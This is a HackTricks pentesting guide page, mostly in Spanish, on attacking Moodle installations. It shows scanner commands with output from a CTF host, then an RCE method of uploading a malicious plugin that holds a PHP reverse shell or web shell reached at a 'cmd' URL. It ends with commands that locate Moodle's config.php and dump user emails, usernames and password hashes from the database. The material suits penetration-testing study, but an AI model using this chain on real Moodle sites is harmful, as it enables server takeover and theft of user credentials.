Moodle
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Escaneos Automáticos
droopescan
pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php
[+] No themes found.
[+] Possible version(s):
3.10.0-beta
[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/
[+] Scan finished (0:00:05.643539 elapsed)
moodlescan
#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
Version 0.7 - Dic/2020
.............................................................................................................
By Victor Herrera - supported by www.incode.cl
.............................................................................................................
Getting server information http://moodle.schooled.htb/moodle/ ...
server : Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by : PHP/7.4.15
x-frame-options : sameorigin
last-modified : Wed, 07 Apr 2021 21:33:41 GMT
Getting moodle version...
Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta
Searching vulnerabilities...
Vulnerabilities found: 0
Scan completed.
CMSMap
pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>
CVEs
Encontré que las herramientas automáticas son bastante inútiles para encontrar vulnerabilidades que afectan la versión de moodle. Puedes verificar si hay vulnerabilidades en https://snyk.io/vuln/composer:moodle%2Fmoodle
RCE
Necesitas tener el rol de manager y puedes instalar plugins dentro de la pestaña "Site administration"**:**
Si eres manager, es posible que aún necesites activar esta opción. Puedes ver cómo en el PoC de escalada de privilegios de moodle: https://github.com/HoangKien1020/CVE-2020-14321.
Luego, puedes instalar el siguiente plugin que contiene el clásico pentest-monkey php rev shell (antes de subirlo, necesitas descomprimirlo, cambiar la IP y el puerto del revshell y volver a comprimirlo)
{% file src="../../images/moodle-rce-plugin.zip" %}
O podrías usar el plugin de https://github.com/HoangKien1020/Moodle_RCE para obtener un shell PHP regular con el parámetro "cmd".
Para acceder y lanzar el plugin malicioso, necesitas acceder a:
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
POST
Encontrar credenciales de la base de datos
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
Volcar credenciales de la base de datos
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.